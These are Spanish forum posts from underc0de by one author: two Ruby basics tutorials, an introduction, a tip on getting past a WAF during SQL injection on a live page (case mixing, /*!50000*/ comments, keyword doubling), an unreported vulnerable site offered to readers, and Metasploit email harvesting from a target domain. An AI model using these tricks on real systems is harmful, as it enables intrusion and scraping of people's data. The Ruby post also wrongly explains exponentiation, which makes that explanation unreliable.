Ruby / Explicando la diferencia entre "print & puts"
Julio 30, 2013, 03:33:26 PM
Hola comunidad de underc0de, aquí otro tema más sobre el lenguaje de programación "Ruby" , bueno, hace unos días vi un post en el que uno de los moderadores de está misma zona pregunto la diferencia entre las funciones "print" y "puts", pues aquí vengo a explicarles.

Ambas tienen la misma función, el cúal es reflejar lo que hayamos especificado en la consola. Pero en cambio, puts se encarga de escribir textos en diferentes líneas, es decir, dejando una nueva.

supongamos que estamos usando "gets.chomp" que es para que el usuario pueda escribir algún texto, entonces, si usamos print el usuario podra seguir escribiendo en la misma línea de la consola, ej:

print "Hola copia aquí:"

saldra en la consola un string diciendo: Copia aquí: , seguidamente en la misma línea el usuario podrá copiar su texto.

En cambio, si usamos la función "puts" , dejara una línea con el texto que hayamos especificado , otro ejemplo usando gets.chomp sería, cuando escribimos en la consola, pero en la otra línea.

Bueno, eso ha sido todo por este mini-tutoria. Espero lo hayan entendido.

Saludos, M5f3r0.
#16
Hola comunidad de underc0de, en está ocasión les vengo a enseñar algunas formas para bypassear un WAF (Web application firewall) en sus momentos de hacer una Inyección SQL.

Primero que nada, ¿Qué es un WAF?

Información sobre ello: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno, supongamos que tenemos una página vulnerable a SQL Injection y nos toca búscar las columnas vulnerables usando UNION SELECT, y cuando ejecutamos la inyección en la página de repente nos dispara un WAF. Un ejemplo de como se vería ciertas veces un waf:



Usare esa página como ejemplo, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vale, entonces como lo bypassearia? usando ciertas formas de burlar al servidor, por ejemplo en el UNION SELECT le puedo cambiar el caso y colocarlo como uNiOn SeLeCt , quedando todo de la siguiente forma:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vale, está un poco fuerte. No lo logro bypassear, entonces usamos otro tip. Como por ejemplo, los comentarios /*! */ . Ej:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Aún no lo logra bypassear, añado un 50000 a un costado del union haber que tal..

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nos devuelve el siguiente resultado:




Excelente!! Nos ha logrado bypassear el Web Application Firewall :D. Ahora podemos seguir jugueteando con el servidor búscando sus registros, tablas, etc.. Eso ya es cosa de ustedes.

Otro tip que nos puede ser útil es:

UNIunionON SELselectECT

En esto, uso UNI porque ciertas veces el servidor elimina las palabras entonces lo uso de esa manera ;D.

Bueno eso ha sido todo :D.

Me despido, saludos.
#17
Presentaciones y cumpleaños / I am..
Julio 30, 2013, 12:04:25 PM
Buenos días comunidad de Underc0de, He estado unos meses por aquí pero nunca me había presentado ante ustedes, el foro está excelente, con buenos aportes con los que también he aprendido sobre unos temas de los que desconocía, también estaré posteando al foro, espero tanto aprender como enseñar un poco de mis conocimientos ;D , Me llama mucho la atención la informática en general, la seguridad web, entre otros temas.

Excelente comunidad espero sigan así :D.

Saludos, M5f3r0.
#18
Buenas tardes comunidad de underc0de, en está ocasión vengo a compartir con ustedes una web vulnerable a un Double Query/Error based :D. Espero les guste ;).

- URL del sitio vulnerable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Página vulnerable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

- Reportado?: No

- Imágen:



Saludos, y espero les guste ;).
#19
Muchas veces cuando estamos auditando un servidor web logramos infiltrarnos en el servidor web consiguiendo obtener información importante, por ejemplo los de la base de datos de un sitio cualquiera, podemos revisar ciertas tablas en las cúales podemos observar que puede faltar información. Para ello, existen diversas técnicas que pueden sernos útiles para estos casos.

Supongamos que en la tabla que estamos revisando no tiene una columna con los email's del administrador, lo cúal nos debe llegar a ser importante. Tenemos como una alternativa hacer Information Gathering (recopilación de información), podemos llegar a hacer mailer con el Metasploit Framework. Entonces, en este tutorial aprenderemos más acerca de está técnica con el MSF.

Primero que nada, ¿Qué es el Mailer?

Mailer vendría siendo un proceso el cúal consiste en búscar alguna cierta colección de correos electrónicos que están alojados en un servidor web. Entonces, en ese post les enseñare a cómo hacer Mailer en un servidor web con el Metasploit Framework (MSF)

Requerimientos:

- Metasploit Framework / Atacante
- Servidor web / Servidor víctima


Bien, para empezar debemos ejecutar nuestra consola de Metasploit, Cómo saben, puede durar unos minutos en cargar así que debemos tener paciencia..

Bueno, ya ejecutado el Metasploit, ejecutaremos los siguientes comandos:

use /auxiliary/gather/search_email_collector
show options


Con esto, lograremos reflejar diversas opciones con las cuales especificaremos la forma en la que extraeremos los emails:



Esas son las que me refleja, les explico lo que significa cada una:

DOMAIN: Se búscan emails en un dominio especifico

OUTFILE: Alguna lista de archivos que génera una lista de emails:

SEARCH_BING: Es para hábilitar el búscador BING como motor de búsqueda en el back-end.

SEARCH_GOOGLE: Es para hábilitar el búscador GOOGLE como motor de búsqueda en el back-end.

SEARCH_YAHOO: Es para hábilitar el búscador YAHOO como motor de búsqueda en el back-end.

SEARCH_YAHOO: Es para hábilitar el búscador YAHOO como motor de búsqueda en el back-end.

Bueno, en nuestro caso usaremos la opción "Domain" , es decír, buscaremos email's especificando un dominio. Entonces, para ello ejecutaremos el siguiente comando:

set DOMAIN  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
exploit


Como ya saben, podemos usar al final exploit o run, ambos tienen la misma función que es ejecutar el exploit. Bueno, ya ejecutados los comandos anteriores el Metasploit nos devuelve los siguientes resultados:




Y satisfactoriamente, hemos conseguido los email's tanto deseados que se encuentran en el servidor web tomando el objetivo como un total éxito :). Espero les haya gustado el post.

Saludos y cuídense, se despide, Mufero/M5f3r0 ;).
#20
Ruby / Operadores aritméticos en Ruby [básico]
Julio 23, 2013, 04:53:52 PM
Hola comunidad de Underc0de, este es mi primer post el cúal está relacionado con un lenguaje de la programación orientado a objetos, Ruby, espero les guste y les sea entendible. Se aceptan criticas constructivas.

Primero que nada, ¿Qué son los operadores aritméticos? .

Los operadores aritméticos, como su nombre lo indica, con ellos podemos realizar operaciones aritméticas de ciertos tipos de datos, es decir, Suma, resta, multiplicación, división, etc.

Ruby tiene soportado 6 tipos de operadores aritméticos, los cuales son:

- Suma
- Resta
- Multiplicación
- División
- Módulos
- Potenciación


Como ya sabemos, la suma es cuando estamos combinando una cantidad específica de números.

Resta es cuando estamos haciendo una sustracción de una cantidad de números

La multiplicación que es cuando sumamos un número tantas veces se haya especificado

La división que es una descomposición en la cúal debemos verificar cuántas veces un número está contenido en otro número

Ahora, para los que no conocen la potenciación y los módulos, les explicare.

Un módulo es el resultado del residuo que está quedando en una división, es decir, si tenemos 11 entre 5 (11 / 5), búscamos un número multiplicado por 5 que de 11 o se acerque a él, entonces no hay ninguno, así que usamos uno que se acerque a 11, en este caso puede ser 2, 5 * 2 es igual a 10 y el residuo es 1, ya que es la cantidad que va sobrando, es decir, el residuo.

Y la potenciación es cuando tenemos una base y un exponente, se eleva la base y se múltiplica el exponente tantas veces diga, es decir, supongamos que tenemos 5 elevado a la 2, multiplicaremos 5 veces 2 como especifico la base, es decir, 2.2.2.2.2 , da en total 32. En eso consiste la potenciación.

Ahora, Los signos de cada uno vendrían siendo los siguientes:

En el múdulo es %
En la potenciación es **
En la suma es +
En la división es /
Y en la multiplicación es *

Podemos hacer operaciones aritméticas en ruby con ellos especificando la cantidad + el operador + la otra cantidad. Ejemplo:

Código: php
11 % 5


Dara resultado en la consola como 1, otro ejemplo con la potenciación:

Código: php
5**2


Dara resultado en la consola como 25 :D, ya que 5.5 = 25

Y bueno, eso fue todo, espero hayan entendido este mini-tutorial sobre las operaciones aritméticas en ruby, actualmente estoy estudiando este lenguaje ya que me estoy adentrando un poco más con el tema de la programación porque antes no me gustaba mucho jeje. Tal vez haga otros próximos tutoriales de este mismo lenguaje.

Saludos y hasta mi próximo post, by M5f3r0.